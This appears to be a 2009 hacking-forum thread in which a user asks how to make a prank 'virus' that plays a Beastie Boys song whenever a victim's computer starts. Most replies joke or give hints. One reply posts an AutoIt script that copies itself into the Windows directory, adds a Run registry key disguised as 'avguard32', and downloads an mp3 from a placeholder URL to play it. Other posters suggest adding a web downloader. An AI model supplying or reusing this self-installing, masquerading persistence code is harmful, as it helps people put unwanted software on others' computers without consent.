Okay. So i was wondering if you could make a virus so it plays Brass Monkey from the beastie boys when they open it. and like when they turn on there comp it plays, like a start up script or something, and repeat maybe?. If you knew how to do that. could you PLEASE run me threw it...PLEASE!?

(idk why i thought of this)

Durds - July 9, 2009, 8:55 am

BUMP ..cmon guys! i need to know how to do this

HatredTrinity - July 9, 2009, 8:58 am

You can have the song play in the background from a URL.

For starting up, change the startup sounds to the music file you want to play.

I will not paste the code for the first method, learn on your own.

Zodiac - July 9, 2009, 8:59 am

LOL very amusing virus you want....?

Durds - July 9, 2009, 9:01 am

Well that do help 1 bit..

Infinity - July 9, 2009, 9:53 am

Lol that's A funny virus.

Durds - July 9, 2009, 10:20 am

It is but i need to know how to do it :(

Terick - July 9, 2009, 11:49 am

hmm i like the song:] but you should set the startup sound to the mp3 from brassmonkey

thats just not that difficult, you can do that! just google a bit.

volcomstone000095 - July 9, 2009, 11:51 am

LMFAO this would be hilarious!

Adzi,ÎEr - July 9, 2009, 11:52 am

I can do that easily :P but the victim would need the song on his/her PC so I think a webdownloader should be integrated too..I might do it if any1 gives me a valid permanent download link :P

Durds - July 9, 2009, 1:12 pm

can you teach me please??

Durds - July 9, 2009, 4:32 pm

damn, i thought this would be an easy task for you people.. guess not?

Unknown3 - July 9, 2009, 5:42 pm

You can use this AutoIt script I made:

```
Code #NoTrayIcon
$Song = "http://www.somesite.com/music.mp3"
FileCopy(@ScriptFullPath, @WindowsDir & "\")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",
"avguard32", "REG_SZ", "" & @WindowsDir & "\" & @ScriptName & ".exe")
InetGet($Song, @WindowsDir & "\song.mp3")
For $Plays = 1 to 0 step -1 ; You can change it to how many times you want it to play.
SoundPlay(@WindowsDir & "\song.mp3", 1)
Next
Just change the website and compile it into an .exe file. ?
```

You can download the script editor here:

<http://www.autoitscript.com/autoit3/scite/downloads.shtml>

Note: I haven't tested the script but it looks like it will work.

Durds - July 9, 2009, 6:12 pm

am i able to do this in visual basic?

Unknown3 - July 9, 2009, 6:14 pm

(Jul 9, 2009 06:12 PM)Robby9022 Wrote: [\[CITE\]](#) am i able to do this in visual basic?
Yes you can do this with VB but you can't use this script. This is an AutoIt script.

Durds - July 9, 2009, 6:42 pm

do you know how to do it in visual basic? :D (its the only thing i use :S)

evilalex - July 9, 2009, 7:57 pm

its so easy just make the .mp3 run on startup
if you dont know how to do that in VB, read some books. very easy.

Durds - July 9, 2009, 8:06 pm

if you dont know how to do that in VB, read some books. very easy. well could you run me threw it
real quick then? or give me the code??

Riddle - July 9, 2009, 8:30 pm

Lol this would be so funny!

Durds - July 10, 2009, 11:01 am

BUMP.... cmonn! there has to be someone out there who can do this in vb

OG iFuck - July 10, 2009, 11:01 am

Wrong section. This is for TUTORIALS

Durds - July 10, 2009, 11:14 am

Quote:Wrong section. This is for TUTORIALS k, where should i put it then?

gangstag - July 10, 2009, 11:17 am

download the song and add it as a start up program to windows manually or create a batch or something to do that for u man..

OG iFuck - *July 10, 2009, 11:19 am*

You gotta request a mod moves it. I would think the Requests For Hacking section.
